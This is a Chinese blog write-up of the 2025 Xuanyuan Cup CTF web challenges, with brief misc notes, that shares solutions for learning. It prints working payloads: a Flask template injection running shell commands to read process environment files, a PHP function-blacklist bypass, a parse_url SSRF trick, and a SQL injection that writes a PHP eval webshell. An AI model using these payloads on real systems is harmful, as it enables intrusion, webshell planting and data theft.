2025第一屆軒轅杯Web全解
軒轅杯-2025
本來是奔著U盤去的,以為是新生賽,不多說了還是自己實力不行


web題目還是比較基礎的,misc的話腦洞不小,也許是做題太少了
wp
這里粘一下大佬的wp
不知道戰隊:
南華大學卡布奇諾:
Misc全解佬:
2025第一屆軒轅杯Misc詳解 - Alexander17 - 博客園
web
flask
直接上fenjing就行,但是我直接讀取/flag沒結果,訪問/proc/1/envriom出的

提交表單完成,返回值為200,輸入為{'name': "{{joiner['__init__']['__globals__']['__builtins__']['__i''mport__']('so'[::-1])['p''open']('c''at /proc/1/environ')['read']()}}"},表單為{'action': '/', 'method': 'GET', 'inputs': {'name'}}
#GZCTF_FLAG=flag{0f0e6823-261f-4bf8-9170-dc770fde5326}
flag{1e07cef3-1334-4ba5-a2136e1f09a0585f}
GZCTF_TEAM_ID=321KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1KUBERNETES_SERVICE_HOST=10.43.0.1KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_PORT_443_TCP_PORT=443HOME=/root"},
ezjs
全局搜索flag

分數等于10.。。時向getflag.php發送post請求,請求體包含分數

直接訪問,分數默認為0

post請求添加上分數后就會返回flag
ez_RCE
<?php
error_reporting(0);
highlight_file(__FILE__);
function waf($a) {
$disable_fun = array(
"exec", "shell_exec", "system", "passthru", "proc_open", "show_source",
"phpinfo", "popen", "dl", "proc_terminate", "touch", "escapeshellcmd",
"escapeshellarg", "assert", "substr_replace", "call_user_func_array",
"call_user_func", "array_filter", "array_walk", "array_map",
"register_shutdown_function", "register_tick_function", "filter_var",
"filter_var_array", "uasort", "uksort", "array_reduce", "array_walk",
"array_walk_recursive", "pcntl_exec", "fopen", "fwrite",
"file_put_contents", "readfile", "file_get_contents", "highlight_file", "eval"
);
$disable_fun = array_map('strtolower', $disable_fun);
$a = strtolower($a);
if (in_array($a, $disable_fun)) {
echo "寶寶這對嘛,這不對噢";
return false;
}
return $a;
}
$num = $_GET['num'];
$new = $_POST['new'];
$star = $_POST['star'];
if (isset($num) && $num != 1234) {
echo "看來第一層對你來說是小case<br>";
if (is_numeric($num) && $num > 1234) {
echo "還是有點實力的嘛<br>";
if (isset($new) && isset($star)) {
echo "看起來你遇到難關了哈哈<br>";
$b = waf($new);
if ($b) {
call_user_func($b, $star);
echo "恭喜你,又成長了<br>";
}
}
}
}
?>
簡單繞過后,限制了函數調用
非預期
使用\轉義繞過即可
注意:要加在頭部,不然會被當做字符串,不會進行轉義
new=\system&star=cat /flag

預期
當然使用waf外的函數也是可以的
new=readgzfile&star=/flag

簽到
首先是簡單傳參和修改cookie

接著是前導字符串

按照要求添加refer和post傳參
<?php
error_reporting(0);
// 判斷 Referer 是否符合
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
if (strpos($referer, 'secretcode') !== false) {
// 進一步要求POST參數
if (isset($_POST['key']) && $_POST['key'] === 'ctfpass') {
echo file_get_contents('./xixi.txt');
} else {
echo "Referer對了,但是POST參數呢?";
}
} else {
echo "你缺少正確的Referer頭~";
}
?>

第四關:不走尋常路
有些門,用傳統的方法打不開。
是誰又頭疼了啊????
小提示:
- 常規的 GET、POST 已經無能為力了,試試別的方式???
- 身份也很關鍵,偽裝得像 “identity=n1c3” 的人,才有機會通過。????♂?
別局限于常規操作,靈活運用你的工具箱!
請換一種請求方式試試看?
提示:試試使用 HEAD 請求方法!
編寫腳本實現head請求,偽造UA

按照要求分析js代碼
第五關:追尋真相
有些答案,藏在看不見的地方。
也許,源代碼里藏著重要的線索???
找到正確的 key,贏得進入最后決戰的門票!
JS源碼(請仔細分析):
<script>
(function(){
var a = ['E', 'l', 'W', '_', 'F', '3', 't', '0', 'C', 'C'];
var order = [2, 5, 1, 8, 7, 0, 3, 9, 6, 4];
var code = '';
for (var i = 0; i < order.length; i++) {
code += a[order[i]];
}
console.log("Your hidden key is:", code);
})();
</script>

直接在控制臺執行就行,也可以自己算出來,接著傳參就行了

最后RCE黑名單,?cmd=nl /f*打印出flag

ezssrf1.0
<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
if ($url == null)
die("Try to add ?url=xxxx.");
$x = parse_url($url);
if (!$x)
die("(;_;)");
if ($x['host'] === null && $x['scheme'] === 'http') {
echo ('Well, Going to ' . $url);
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
curl_close($ch);
echo ($result);
} else
echo "(^-_-^)";
從$_GET['url']獲取用戶輸入的URL。
使用parse_url($url)解析URL,提取協議(scheme)、主機(host)、路徑(path)等。
檢查條件:如果解析結果的host為空且scheme為http,則使用cURL發起請求并返回結果。
如果條件不滿足,輸出(-_-),表示請求被拒絕。
非預期
正常URL格式為 scheme://[userinfo@]host/path
常規格式
http://127.0.0.1/flag 時,parse_url 會解析為以下組件:
- scheme:http
- host:127.0.0.1
- path:/flag
為了使host為空,這里利用畸形URL,通過缺少//使得parse_url無法識別host,從而繞過檢查。
PHP腳本接收url參數:http:duan@127.0.0.1/flag。
parse_url解析URL:
- scheme = http
- host = null
- path = duan@127.0.0.1/flag
接著就能訪問服務器本地的/flag文件
http://27.25.151.26:31349/?url=http:duan@127.0.0.1/flag

讀取FFFFF11111AAAAAggggg.php即可
預期
明明這個才是非預期,但是官方wp都寫的是這個,那就當做預期吧
按理說是代碼審計,反而成了信息收集,也許是我思維固化了,一見代碼,就沒有考慮了
dirsearch掃描發現/flag

提示flag的位置,訪問即可
ez_web1
后來才知道這個是非預期,預期解是群里一個大佬發的,jwt偽造,再ssti,我就不寫了
非預期or預期

進去是登錄框,源碼有提示
手測賬密
fly123
123456789
先是三個頁面,注意右邊下拉顯示還有內容

最下方顯示一個上傳


上傳不成功
注意到有token,jwt校驗,但是沒有key
返回先前頁面發現有讀取路徑

嘗試讀取文件成功,在proc下環境變量文件中找到flag

ezsql1.0
sql注入不太會,這題沒出,參照下邊師傅的博客進行復現學習
空格,select都被辦了


空格替換%09和/**/
seselectlect雙寫
?id=-1 union seselectlect 1,'<?=eval($_POST[1]);?>',3 into outfile '/var/www/html/1.php'#
?id=-1%09union%09seselectlect%091,%27%3C?=eval($_POST[1]);?%3E%27,3%09into%09outfile%09%27/var/www/html/1.php%27#
利用寫入權限寫入一句話木馬

進行rce

環境變量讀不出來,連接查看是空的

/*
* db.sql 文件
*
* 用于初始化 MySQL 數據庫,創建 'ctf' 和 'xuanyuanCTF' 兩個數據庫。
* 'ctf' 包含一個 'users' 表及多條示例數據。
* 'xuanyuanCTF' 包含一個信息表,含 title 和 content 字段。
*/
-- 創建并使用 ctf 數據庫
CREATE DATABASE IF NOT EXISTS ctf;
USE ctf;
-- 創建 'users' 表
CREATE TABLE IF NOT EXISTS users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(300) NOT NULL,
password VARCHAR(300) NOT NULL
);
-- 插入多條用戶數據
INSERT INTO users (username, password) VALUES
('admin', 'SuperSecureP@ssw0rd!'),
('user1', 'P@ssword123'),
('guest', 'guest1234'),
('ctf_player', 'fl4g_hunt3r'),
('root', 'toor!@#'),
('alice', 'alicePass1'),
('bob', 'bobSecure2'),
('charlie', 'charliePwd3'),
('dave', 'daveKey4'),
('eve', 'eveAccess5'),
('frank', 'frankEntry6'),
('grace', 'graceLogin7'),
('heidi', 'heidiSafe8'),
('ivan', 'ivanAuth9'),
('judy', 'judyPwd10'),
('mallory', 'malloryKey11'),
('nathan', 'nathanSecure12'),
('olivia', 'oliviaLock13'),
('peggy', 'peggyOpen14'),
('quentin', 'quentinSafe15'),
('ruth', 'ruthPass16'),
('sybil', 'sybilSecret17'),
('trent', 'trentLogin18'),
('victor', 'victorPwd19'),
('wendy', 'wendyKey20');
-- 創建并使用 xuanyuanCTF 數據庫
CREATE DATABASE IF NOT EXISTS xuanyuanCTF;
USE xuanyuanCTF;
-- 創建一個包含 id, title, content 字段的表
CREATE TABLE IF NOT EXISTS info (
id INT AUTO_INCREMENT PRIMARY KEY,
title VARCHAR(255) NOT NULL,
content TEXT NOT NULL
);
-- 插入第一條數據
INSERT INTO info (title, content) VALUES
('F1AG', 'ZmxhZ3vmrKLov47mnaXliLDovanovpXmna99');
var下有個db文件
解碼得到flag
flag{歡迎來到軒轅杯}
misc
HackMe
非預期
題目給的是exe,ida分析看到py信息,將exe解包為pyc直降就能看到明文

Nz-flag{Cysay_terminal_game_hacked_successfully}
預期
按照提示一步一步繼續就行

哇哇哇瓦

flag{Val0rant_1s_th3_
一大碗冰粉
你是大黑客,這次你入侵了icej3lly的個人電腦,準備跟蹤他的行蹤,但是icej3lly好像并不害怕???,還跟你玩起了加密游戲,甚至把提示都給你了?(???)?。但當你正在查看桌面上的秘密文件和提示時突然斷電了,只留下了這個內存鏡像,多疑的你一定會有所發現吧???
通過網盤分享的文件:whereicej3lly.raw 鏈接: https://pan.baidu.com/s/1qp84Tys0n1BXh9ObISLCcA?pwd=GAME 提取碼: GAME --來自百度網盤超級會員v4的分享
將鏡像文件放入R-Studio進行分析
桌面找到hint.txt
提示是明文攻擊

接著尋找加密zip
找到文件進行修復

對secret.zip進行明文攻擊
獲取一個

隱藏的邀請
先Hex后Xor,自動轉圖片

不知道是什么碼,去Lunatic BLOG|
博客學習就行

保存后,DataMatrix在線掃描


本次軒轅杯,題目還是很不錯的,帶著幾個學弟學妹打的,web比較基礎,misc比較腦洞了
浙公網安備 33010602011771號